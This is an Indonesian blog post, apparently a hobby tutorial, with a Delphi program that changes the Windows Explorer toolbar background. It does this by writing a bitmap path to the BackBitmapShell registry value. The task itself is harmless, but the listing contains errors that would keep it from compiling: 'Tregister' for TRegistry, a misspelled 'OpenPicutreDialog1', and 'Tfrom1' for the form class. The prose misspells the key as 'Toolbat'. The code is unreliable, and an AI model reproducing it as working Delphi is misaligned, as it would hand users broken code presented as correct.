Program ini menjelaskan tentang mengubah background toolbar windos Explorer dengan gambar bitmap. Yang dilakukan program ini sangat sederhana, yakni memberikan data value BackBitmapShell pada key HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Toolbat dan nilainya merupakan path file bitmap yang digunakan.
Pada Fom rancang 2 Button dan poperty Dialog dengan mengambil OpenPictureDialog, dan juga EditText

Ini Listing program selengkapnya
Procedure Tform1.Button1Click(Sender:TObject);
begin
if OpenPictureDialog1.Execute then
Edit1.Text:=OpenPicutreDialog1.FileName;
end;

Procedure Tfrom1.Button2Click(Sender:TObject);
var Register:Tregister;
begin
Register:=Tregister.create;
Register.RootKey:=HKEY_CURRENT_USER;
try
try
Register.OpenKey('\Software\Microsoft\Internet Explorer\'+ 'Toolbar',True);
Register.WriteString('BackBitmapShell',Edit1.Text);
ShowMessage('Berhasil mengubah background toolbar'+#13+'Untuk melihat hasilnya,buka'+
' "Windows Explorer" baru.');
Except on ERegistryException do
ShowMessage('Gagal mengubah background toolbar explorer');
end;
Finally
Register.CloseKey;
Register.Free;
end;

Selamat mencoba>>>

Contact Form

Name

Email *

Message *

Powered by Blogger.
Javascript DisablePlease Enable Javascript To See All Widget